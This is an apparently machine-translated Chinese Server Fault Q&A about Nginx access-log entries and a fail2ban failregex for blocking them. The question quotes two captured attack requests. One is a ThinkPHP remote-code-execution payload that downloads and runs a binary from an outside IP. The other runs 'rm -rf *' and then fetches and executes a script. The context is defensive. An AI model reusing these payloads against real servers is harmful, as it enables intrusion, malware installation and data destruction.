这可能是一个非常愚蠢的问题,但我想确认一下。
我找到了这样的线条
93.71.247.71 - - [19/Jan/2021:17:37:59 +0100] "GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://88.218.16.198/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1" 400 173 "-" "Uirusu/2.0"或
71.208.10.233 - - [19/Jan/2021:09:27:41 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+ debes.venus.lol/jaws;sh+/tmp/jaws HTTP/1.1" 301 185 "-" "Hello, world"在我的Nginx访问日志里。web搜索将我引向Fail2Ban &块远程代码执行Ubuntu & Cloudflare,在那里,人们建议通过服务器配置中的适当语句来捕获此类攻击。
但是,据我所见,服务器已经响应了400或301。因此,我的问题是:返回403的服务器配置(如我上面链接的问题的答案中所建议的)会有什么不同吗?
发布于 2021-01-26 15:01:55
至于额外的地点(返回403或其他),这确实取决于。无论如何,不建议直接监视访问日志,请阅读fail2ban wiki :最佳实践,特别是与寄生虫日志流量有关的部分。
至于失败消息,400确实已经“好”了,认为它是失败,而301是一个永久的重定向(您似乎在nginx中有一些规则这样做),所以认为代码本身的失败将是不正确的(您可以得到一些错误的合法用户请求)。因此,最好找到这个nginx规则(位置、重写等)并加以更正(使其更精确)。
无论哪种方式,用于上述消息的failregex都可以如下所示:
failregex = ^<HOST> \S+ \S+ \[\] (?:"[A-Z]+ [^"]*" 40(?![14])\d|"[A-Z]+ [^\?]+\?(?:[ \+]|%20)*cd(?:[ \+]|%20)+/tmp[^"]*" 301)如您所见,它将匹配除401和404以外的每40x错误(您还可以使用更精确的模式,例如40[035] )。
但是它也包含了考虑301的部分|"[A-Z]+ [^\?]+\?(?:[ \+]|%20)*cd(?:[ \+]|%20)+/tmp[^"]*" 301,所以如果您修复了前面提到的弱nginx规则,就可以删除它,从而重定向这样的错误请求。但目前,它将只匹配包含以cd /tmp开头的查询字符串的消息(在cd之前和之后使用任何空格组合)。
https://serverfault.com/questions/1050459
复制相似问题